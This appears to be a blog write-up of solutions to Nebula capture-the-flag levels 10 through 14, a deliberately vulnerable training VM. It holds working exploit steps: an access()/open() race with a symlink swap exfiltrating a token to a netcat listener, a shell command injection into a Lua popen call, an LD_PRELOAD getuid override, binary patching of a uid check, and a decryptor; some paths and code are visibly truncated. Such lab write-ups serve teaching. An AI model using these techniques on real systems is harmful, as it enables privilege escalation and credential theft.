Nebula Shell Exploits (Solutions 10-14)

Shell-based exploit exercises


This is the second post for my solutions of Exploit Exercises

Level 10

Description (full): Read a token file with the password to the target account. A suid program uses access() to upload a file to a host.

According to man access(), there’s a race condition with this usage of the function:

man access
Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so
using open(2) creates a security hole, because the user might exploit the short time interval between
checking and opening the file to manipulate it. For this reason, the use of this system call should be
avoided. (In the example just described, a safer alternative would be to temporarily switch the process's
effective user ID to the real ID and then call open(2).)
#!/bin/bash -x
rm ~/foo
for i in `seq 10000`; do echo "placeholder" >> ~/foo; done
/home/flag10/flag10 ~/foo
sleep 0.0001
rm ~/foo; ln -s /home/flag10/token ~/foo

Now, we can run this script repeatedly:

while true; do ./; done

On our local machine (Linux or Mac), we also listen at intervals with netcat:

localmachine$ while true; do sleep 1; nc -l 18211 | grep -v "placeholder"; done
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.

On the virtual machine:

$ su flag10
sh-4.2$ getflag

Level 11

Description (full): Execute getflag with the given source code.

$ cd ~
$ echo "Content-Length: 1\n\c" > ./foo
$ echo "getflag; whoami" > ./b
$ export PATH=~:$PATH
$ /home/flag11/flag11 < ~/foo
sh: $'b\200\263': command not found
$ /home/flag11/flag11 < ~/foo
sh: $'b\300\241': command not found
$ /home/flag11/flag11 < ~/foo
You have successfully executed getflag on a target account

This solution should be examined with the source code (gist).

This level was great. These are the realizations that lead to a solution:

  • The solution path must end with the system() call in process().
  • There are two ways to reach process() via the if-else branch in main().
  • The else branch is extremely random. It uses mmap(NULL…) (maps to a random memory address), getrand() (returns a random file descriptor), and XOR encryption.
  • The if branch is if (fread(buf, length, 1, stdin) != length). The third argument to fread is the number of members to read. The return value is the number of members read.
  • Things just got a lot simpler, since length must be 1.
  • process() uses basic XOR encryption with the caveat that the key changes for each letter in the buffer. The buffer only has one letter, and key = 1 & 0xff, which flips the last bit.
  • Looking at the ASCII table, if we want the final buffer to contain b (01100010), the key needs to be applied to 01100011 (c).
  • Add an executable named b to the path, and let the program execute it until the buffer, by chance, ends with the string-terminating null byte.

While walking to work, I laughed (in advance) thinking that the problem would have a deceivingly simple solution – and it did.

Level 12

Description (full): Access the flag account through a Lua script that seems to send the token with a certan SHA1 checksum.

$ nc 50001
Password: $(getflag), which is $(whoami) > ~/getflag.log
Better luck next time
$ cat /home/flag12/getflag.log
You have successfully executed getflag on a target account, which is flag12

According to the Internet, SHA1 checksums are, for all practical purposes, irreversible. This means that the solution path probably doesn’t require us to find the unhashed input.

This turns out to be the case. We execute arbitrary code via this line, where our input is the variable ..password..:

prog = io.popen("echo "..password.." | sha1sum", "r")

Level 13

Description (full): A program returns the token if the real uid is equal to FAKEUID, defined by a preprocessor macro.

Given the source code, there seem to be two points of vulnerability for the program. 1. The call to getuid(): can we substitute our own version of the function? 2. The preprocessor macro for FAKEUID: can we redefine FAKEUID?

Overriding getuid()

We link a shared library with our own function definition of getuid(), adding it through the LD_PRELOAD environmental variable. Because suid programs ignore LD_PRELOAD, we copy the binary to our own directory and modify the permissions.

// custom_uid.c
#include systypes.h

uid_t getuid()
	return 1000;
$ # Create a shared library
$ cd ~
$ gcc -fPIC -g -c custom_uid.c
$ gcc -shared -W1,-soname, -o custom_uid.o -lc
$ ls *.so
$ # Preload the shared library
$ export LD_PRELOAD=./
$ cp /home/flag13/flag13 ~
$ ldd flag13 | grep
./ (0x001c3000)
$ chmod a+x ~/flag13
$ ~/flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
$ su flag13
sh-4.2$ getflag
You have successfully executed getflag on a target account

I wasn’t familiar with these shared library vulnerabilities before these levels. To cite my sources, here are posts that I found during my search for “overriding functions”:

Redefining fakeuid

Unfortunately, it turns out that we can’t quite “redefine” the preprocessor macro, since the binary is compiled without any debug flags from gcc.

FAKEUID is defined by 1000 (hex: 0x03e8). We can take a look at the assembly using objdump.

$ echo $UID
$ printf '%x\n' 1014 # Our uid in hex
$ printf '%x\n' 1000 # FAKEUID in hex
$ objdump -d flag13 | grep 3e8
80484f4:		3d e8 03 00 00		cmp 	__$0x3e8__,%eax

$ cp /home/flag13/flag13 ~
$ vim ~/flag13
$ # … Make the substitution described below #

Our magic number is represented by 3d e8 because of the little-endian architecture. Our goal is to change 0x3e8 to 0x3f6, which is 1014 in binary.

vim can be used to edit binary files. (I’m an emacs user, but vim comes with the VM). We change 3de8 to 3df6 in the binary.

$ ~/flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58

Level 14

Description (full): flag14 -e encrypts stdin. A token file needs to be decrypted.

# A helper function for pattern finding
	echo "$@" | /home/flag14/flag14 -e; echo""
$ source ~/
$ try 1; try @; try a
$ try 0231 # 0 - 0 = 0 | 3 - 2 = 1 | 5 - 3 = 2 |  4 - 1 = 3

If we play around more, there seems to be a simple pattern: the encryption scheme increments each character by its index.

// decrypt.c
#include <stdio.h>
#include <string.h>

int main (int argc, char*argv[])
	for (int i = 0; i < strlen(argv[1]); i++)
		printf("%c", argv[1][i] - i);
$ gcc -std=c99 -o decrypt decrypt.c
$ cat /home/flag14/token
$ ./decrypt $(cat /home/flag14/token)
$ su flag14
sh4.2$ getflag
You have successfully executed getflag on a target account